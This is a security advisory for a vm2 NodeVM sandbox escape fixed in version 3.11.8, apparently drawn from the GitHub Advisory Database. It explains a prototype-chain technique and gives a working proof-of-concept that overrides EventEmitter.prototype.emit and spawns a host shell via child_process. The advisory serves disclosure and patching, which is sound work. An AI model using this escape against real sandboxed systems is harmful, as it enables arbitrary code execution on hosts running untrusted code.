vm2
Affected
- introduced
0, fixed3.11.8(semver)
Fixed versions
3.11.8
Fix
- Fixed version
3.11.8npm install [email protected]
Advisory
Also known as: CVE-2026-92955
vm2: Sandbox Escape (NodeVM)
Summary
It being possible to obtain the host __proto__ getter/setter, has been used in many reports:
Yet it was never patched...
---
This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via console._stdout/console._stderr (NodeVM with console: 'inherit', which is the default)
Details
The prototype chain for console._stdout/console._stderr is:
_stdout / _stderr
-> WriteStream (TTY only)
-> Socket
-> Duplex
-> Readable
-> Stream
-> EventEmitter
process is an EventEmitter, and nothing stops us from writing things to EventEmmiter.prototype
By overwriting EventEmmiter.prototype.emit with a function, and making process emit an event (e.g. exit, unhandledRejection etc.), we can execute code with this being process.
This also bypasses --disallow-code-generation-from-strings, which blocks the "usual" escape of obtaining the host function constructor.
PoC
const { NodeVM } = require("vm2");
code = `
const gP = Buffer.call.call(__lookupGetter__,67,'__proto__');
// vm __proto__ getter
console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}
// host __proto__ getter
console.log(gP.call(console._stderr)); // Socket { [...] }
let p = console._stdout;
while (p.pipe) {
console.log(p.constructor.name);
p = gP.call(p);
};
p.emit = function(){
console.log(this+[]);
this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"})
}
`;
const vm = new NodeVM();
vm.run(code);Critical Basis: The source's own band: CRITICAL
0, fixed 3.11.8 (semver)3.11.8
3.11.8npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0